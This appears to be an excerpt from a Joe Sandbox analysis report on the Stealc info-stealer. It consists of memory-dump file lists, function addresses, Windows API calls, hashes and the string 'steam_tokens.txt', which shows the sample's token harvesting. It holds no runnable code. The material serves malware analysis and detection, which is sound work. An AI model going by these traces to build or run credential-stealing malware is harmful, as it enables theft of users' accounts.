Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 083919ec82111299a29c7bb94252ef79d0e6dcb08ab5fc3a466a8538cccb3b71
Instruction ID: e6feb7c2f5fc33db27c4864952c7a5ae11dfdb0a9acac7479952db80572acf47
Opcode Fuzzy Hash: 083919ec82111299a29c7bb94252ef79d0e6dcb08ab5fc3a466a8538cccb3b71
Instruction Fuzzy Hash: BAF01D729501087AEB58FBF0EC579ED733EAB55300F40415CB85766092EF246609C6AA

Function 00647ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00650E2C), ref: 00647F00
wsprintfA.USER32 ref: 00647F16

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 72b2b2bf92097f2c2934c03e3472325a93ca93bbc03aef9a791b3b44476e2247
Instruction ID: 5e0b92d5f412bc05c237b9b400cebf7029631d4b2d04969a7301bac5bee6531f
Opcode Fuzzy Hash: 72b2b2bf92097f2c2934c03e3472325a93ca93bbc03aef9a791b3b44476e2247
Instruction Fuzzy Hash: D6F090B1A04608EBCB14DF84DC45FAAF7BCFB48B24F000669F91592281D775A9448BE1

Function 0063B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 00639E10: memcmp.MSVCRT(?,v20,00000003), ref: 00639E2D

lstrlenA.KERNEL32(00000000), ref: 0063B9C2
lstrlenA.KERNEL32(00000000), ref: 0063B9D6

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: 8f2bd324c2a65e1b43b96efdf01a8a2611084752f89c63650b5da770d3c05df7
Instruction ID: c742cffb3a5b3a85b1bc00f1845cb8e7e26150ed46cd9fd6b966a089fdcfc9a3
Opcode Fuzzy Hash: 8f2bd324c2a65e1b43b96efdf01a8a2611084752f89c63650b5da770d3c05df7
Instruction Fuzzy Hash: 42E10172860118BBEB58EBE0CC96EEE733AFF54300F41455DF50666091EF346A49CBA6

Function 0063AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

lstrlenA.KERNEL32(00000000), ref: 0063B16A
lstrlenA.KERNEL32(00000000), ref: 0063B17E

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 52951a76d8584686b38520bb31046d4bc045fe7f1306eb3e2a672ae60fde0c77
Instruction ID: 4e4e5b94fe5cd136dba08d76a71afdd6171fd9b4e3c9443f04cc1376486ad6d8
Opcode Fuzzy Hash: 52951a76d8584686b38520bb31046d4bc045fe7f1306eb3e2a672ae60fde0c77
Instruction Fuzzy Hash: 49912172950104BBEB48EBE0DC96EEE733ABF54304F41455CF507A6091EF34AA49CBA6

Function 0063B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

lstrlenA.KERNEL32(00000000), ref: 0063B42E
lstrlenA.KERNEL32(00000000), ref: 0063B442

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b8015b72a67a32aebf1fbd30c4ab21c918048c09a9ced14b8295f93d24535d75
Instruction ID: a2af9ab2ce825e6e2a5633c783a267d68d42f88722af781f0e54c808d10c5d1b
Opcode Fuzzy Hash: b8015b72a67a32aebf1fbd30c4ab21c918048c09a9ced14b8295f93d24535d75
Instruction Fuzzy Hash: 4A713271950108BBEB48FBE0DC96DEE733ABF54304F41451CF506A6192EF34AA49CBA6

Function 00636660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00636DBE,00636DBE,00003000,00000040), ref: 00636706
VirtualAlloc.KERNEL32(00000000,00636DBE,00003000,00000040), ref: 00636753

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ac1856b2314c3aa16bd231777091ae3875ad4097bea7d82bc0fe2a6afa5d23e6
Instruction ID: 917dda22c1093d6e8f41aecaa1a2bbd69e156c7f88ecf94e423ef1a20e695bd0
Opcode Fuzzy Hash: ac1856b2314c3aa16bd231777091ae3875ad4097bea7d82bc0fe2a6afa5d23e6
Instruction Fuzzy Hash: 0941C874A00209EFCB44CF58C495BADBBB2FF48355F24C2A9E9599B355C731EA81CB84

Function 006310A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0063114E,?,?,00646A1C), ref: 006310B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0063114E,?,?,00646A1C), ref: 006310F7

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d4c93c9ac242acb7bcbecb17fe41fd71942f32ab8b0fa9ba5ad907ab312229a0
Instruction ID: 85f7e79a9edbc622cdae34578567b57dc8c7e58173d5d4e30bb28ba196c427fb
Opcode Fuzzy Hash: d4c93c9ac242acb7bcbecb17fe41fd71942f32ab8b0fa9ba5ad907ab312229a0
Instruction Fuzzy Hash: D3F0E971641204BBE71896A49C49FAEB7DCE705715F300448F504E7380D5719E40CAA5

Function 00648D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00640117,?,00000000,?,00000000,00650DAB,00650DAA), ref: 00648D9F

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5dd75980a534478f053e29476c95e29f3e2f2b5d700fd9cd11e275463ce11508
Instruction ID: f9bf72f64751a223109f621ba94670b63d48fb1b777b8375f6ec309f7917a84d
Opcode Fuzzy Hash: 5dd75980a534478f053e29476c95e29f3e2f2b5d700fd9cd11e275463ce11508
Instruction Fuzzy Hash: C7F01570C05208EFDB08EFA4D9496ECBB76EF10310F108199E866673D0DB349A86DB81

Function 00648DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00648E0B

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 0698806c0b2474b60fc2ba1d3d39143113887827c5925ea46530f14b26997ecb
